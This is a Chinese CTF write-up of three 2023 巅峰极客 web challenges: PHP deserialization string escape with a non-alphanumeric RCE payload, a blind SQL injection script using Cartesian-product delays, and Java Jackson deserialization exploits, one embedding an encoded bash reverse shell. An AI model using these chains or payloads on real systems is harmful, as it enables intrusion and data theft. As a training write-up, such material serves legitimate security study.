2023巅峰极客比赛web复现

<1> unserialize(反序列化字符串逃逸)

下载 www.zip得到源码:

my.php 存在 pull_it恶意类  反序列化时会执行 $this-x   

这里有一层过滤 $this-x不能为字母数字 可以取反、异或绕过

2023巅峰极客比赛web复现_第1张图片

 下面来找一找怎么去触发反序列化

index.php 会对我们登录框输入的参数先做序列化存储在$_SESSION['login']里,并用 b 函数替换字符

2023巅峰极客比赛web复现_第2张图片

 login.php 则会对我们在index.php 存储到$_SESSION['login']的序列化数据,先用a()函数替换 然后进行反序列化

2023巅峰极客比赛web复现_第3张图片

 看一下a函数和b函数

function b($data) {
	return str_replace('aaaa', 'bbbbbb', $data);
}

function a($data) {
	return str_replace('bbbbbb', 'aaaa', $data);
}

a函数和b函数都是字符串替换,反序列化之前会调用a函数 对序列化数据进行替换 把 'bbbbbb' 替换为 'aaaa'  存在反序列化字符串逃逸    为:关键词减少的情况

 可以参考之前写的文章:buuctf刷题9 (反序列化逃逸&shtml-SSI远程命令执行&idna与utf-8编码漏洞)_($_session['123'])) burp_葫芦娃42的博客-CSDN博客

 正常输入root=root pwd=pwd的序列化内容:

O:7:"push_it":2:{s:13:"%00push_it%00root";s:4:"root";s:12:"%00push_it%00pwd";s:3:"pwd";}

我们可以通过 给root赋值 bbbbbb再来看一下序列化内容:

O:7:"push_it":2:{s:13:" push_it root";s:6:"aaaa";s:12:"%00push_it%00pwd";s:3:"pwd";}

就可以逃逸出两个字符。

因此我可以通过构造root传参 以这种方式 把后面的  ";s:12:"%00push_it%00pwd";s:3:"  逃逸掉,使其变成 s:双引号里的参数,然后pwd参数就逃逸出来了,我们可以构造pwd 写入构造好的 pull_it类 进行无字母数字rce

payload:(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);  system('ls');

 构造序列化数据

x = $xx;
    }
}
$a = new pull_it("(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);");
$payload = serialize($a);
echo urlencode($payload);
# O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A37%3A%22%28%7E%258C%2586%258C%258B%259A%2592%29%28%7E%2593%258C%25DF%25D0%29%3B%22%3B%7D

 前面需要再加上一个参数,因此给pwd赋值:;s:1:"a";O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A17%3A%22%28%7E%8C%86%8C%8B%9A%92%29%28%7E%93%8C%DF%D0%29%3B%22%3B%7D

O:7:"push_it":2:{s:13:" push_it root";s:4:"root";s:12:" push_it pwd";s:145:";s:1:"a";O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A17%3A%22%28%7E%8C%86%8C%8B%9A%92%29%28%7E%93%8C%DF%D0%29%3B%22%3B%7D";}

红色部分应该为我们逃逸的字符,长度为  28  那么我们就需要给root传 14个 bbbbbb

root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=;s:12:"%00push_it%00pwd";O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A19%3A%22%28%7E%8C%86%8C%8B%9A%92%29%28%7E%88%97%90%9E%92%96%29%3B%22%3B%7D

<2> hellosql(笛卡尔积盲注)

过滤了if,用case when绕过,sleep、benchmark、rpad也过滤了,用笛卡尔积延时,通常是用count(*),这里count被过滤了,其他函数也可以,这里用sum

heavy query延时原理是:做大量的查询导致查询时间较长来达到延时的效果。通常选择一些比较大的表做笛卡尔积运算

/index.php?id=1'||case when(1) then (select sum("A") FROM information_schema.columns A,information_schema.tables B,information_schema.tables C) else 1 end||'1'='1

 when() 里就可以放我们的bool语句 进行bool盲注

import requests
import string
import time

dic=string.ascii_letters + string.digits

url = 'http://****/?id='
payload = '''1'||case when({}) then (select sum("A") FROM information_schema.columns A,information_schema.tables B,information_schema.tables C) else 1 end||'1'='1'''
flag=''
for i in range(1,100):
    for j in dic:
        data = payload.format("((substr(({}),{},1)))=BINARY('{}')").format("select Flagg from Flllag",str(i),j)
        t = time.time()
        try:
            r=requests.get(url+data,timeout=3)

        except Exception as e:
            pass
        if time.time() - t > 3:
            flag+=j
            print(flag)
            break
print(flag)

 <3> BabyURL(jackson依赖)

 题目结构如下:

2023巅峰极客比赛web复现_第4张图片

查看 IndexController  发现了 /hack 和 /file路由

/hack路由代码如下: 反序列化的入口

2023巅峰极客比赛web复现_第5张图片

但这里反序列化是自定义对象输入流 MyObjectInputStream

跟进看一下

        String[] denyClasses = new String[]{"java.net.InetAddress", "org.apache.commons.collections.Transformer", "org.apache.commons.collections.functors", "com.yancao.ctf.bean.URLVisiter", "com.yancao.ctf.bean.URLHelper"};

过滤了  Transformer、URLVisiter和URLHelper

 /file路由: 会读取/tmp/file的内容并返回

2023巅峰极客比赛web复现_第6张图片

我们再来看一下URLHelper类的实现

URLHelper类继承了 Serializable接口 存在readObject() 也有一个反序列化入口

2023巅峰极客比赛web复现_第7张图片

 它被反序列化时,会调用 URLVisiter.visitUrl(this.url);  并且把结果写入到 /tmp/file

那如果 URLVisiter.visitUrl() 可以实现任意文件读取的话,就可以 通过反序列化写入 /tmp/file,然后通过/file路由读取了 

我们再看一下 URLVisiter.visitUrl() 代码实现

2023巅峰极客比赛web复现_第8张图片

里面也有一个过滤,会对传入的url做校验 不过可以用 大写File绕过,然后利用 File:// 协议读取文件

所以思路已经明确了,下一步主要是思考怎么去进行 反序列化

(1) SignObject#getObject二次反序列化 

由于URLHelper类被过滤了,无法直接反序列化,不过可以借助 SignObject#getObject 触发二次反序列化二次反序列化

 而在jackson中,POJONode#toString方法(实际上是其父类BaseJsonNode) 可以调用getter方法,调用过程如下:

BaseJsonNode#toString
  InternalNodeMapper#nodeToString
    ObjectWriter#writeValueAsString
      ObjectWriter#_writeValueAndClose
        DefaultSerializerProvider#serializeValue
          DefaultSerializerProvider#_serialize
            BeanSerializer#serialize
              BeanSerializerBase#serializeFields
                BeanPropertyWriter#serializeAsField

因此 我们可以通过 BaseJsonNode#toString 调用 SignObject#getObject 进行二次反序列化

注:Java在writeObject序列化的时候,如果序列化的类实现了writeReplace方法,就会调用并做检查,而BaseJsonNode类刚好就实现了这个writeReplace方法。这里的处理方法是:手动在项目中建一个和BaseJsonNode一样包名的类

2023巅峰极客比赛web复现_第9张图片

 2023巅峰极客比赛web复现_第10张图片

 现在问题又转换为如何调用任意类的toString方法 CC5链中有此类解决方法

JDK中BadAttributeValueExpException 的 readObject中会调用 .toString()

exp如下:

import com.fasterxml.jackson.databind.node.POJONode;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.security.*;

public class exp {
    public static void main(String[] args) throws IOException, SignatureException, InvalidKeyException, NoSuchAlgorithmException, NoSuchFieldException, IllegalAccessException {
        //URLHelper handler = new URLHelper("File:///");
        URLHelper handler = new URLHelper("File:///flag_is_here");
        handler.visiter = new URLVisiter();

        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject(handler, privateKey, signingEngine);

        POJONode node = new POJONode(signedObject);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);

        setFieldValue(val, "val", node);

        System.out.println(URLEncoder.encode(base64Encode(serialize(val))));
    }
    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz=object.getClass();
        Field declaredField=clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,filed_value);
    }

    public static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(obj);
        oos.close();
        return bos.toByteArray();
    }

    public static Object unserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream ois = new ObjectInputStream(btin);
        ois.close();
        return ois.readObject();
    }
    public static String base64Encode(byte[] bytes) {
        java.util.Base64.Encoder encoder = java.util.Base64.getEncoder();
        return encoder.encodeToString(bytes);
    }
}

2023巅峰极客比赛web复现_第11张图片

再次 file:///flag_is_here 读取flag

2023巅峰极客比赛web复现_第12张图片

(2) 绕过黑名单打TemplatesImpl

上面我们可以知道,POJONode#toString方法可以调用getter方法

而这道题重写的 MyObjectInputStream()#resolveClass 里并没有限制 TemplatesImpl

我们还可以利用 getter 让其调用 TemplatesImpl.getOutputProperties()  从而打TemplatesImpl rce链子

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URLEncoder;

public class exp_template {
    public static void main(String[] args) throws Exception {

        byte[] code = getTemplates_class();
        byte[][] codes = {code};

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "useless");
        setFieldValue(templates, "_tfactory",  new TransformerFactoryImpl());
        setFieldValue(templates, "_bytecodes", codes);

        POJONode node = new POJONode(templates);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);

        setFieldValue(val,"val",node);
        System.out.println(URLEncoder.encode(base64Encode(serialize(val))));
    }
    public static byte[] getTemplates_class() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("MyTemplate");
        template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC92cHMvcG9ydCAwPiYx}|{base64,-d}|{bash,-i}\");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();
    }
    public static void setFieldValue(Object obj, String field, Object val) throws Exception{
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
    public static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(obj);
        oos.close();
        return bos.toByteArray();
    }

    public static String base64Encode(byte[] bytes) {
        java.util.Base64.Encoder encoder = java.util.Base64.getEncoder();
        return encoder.encodeToString(bytes);
    }
}

环境&参考:2023巅峰极客 BabyURL · 语雀

 

你可能感兴趣的:(前端,javascript,开发语言)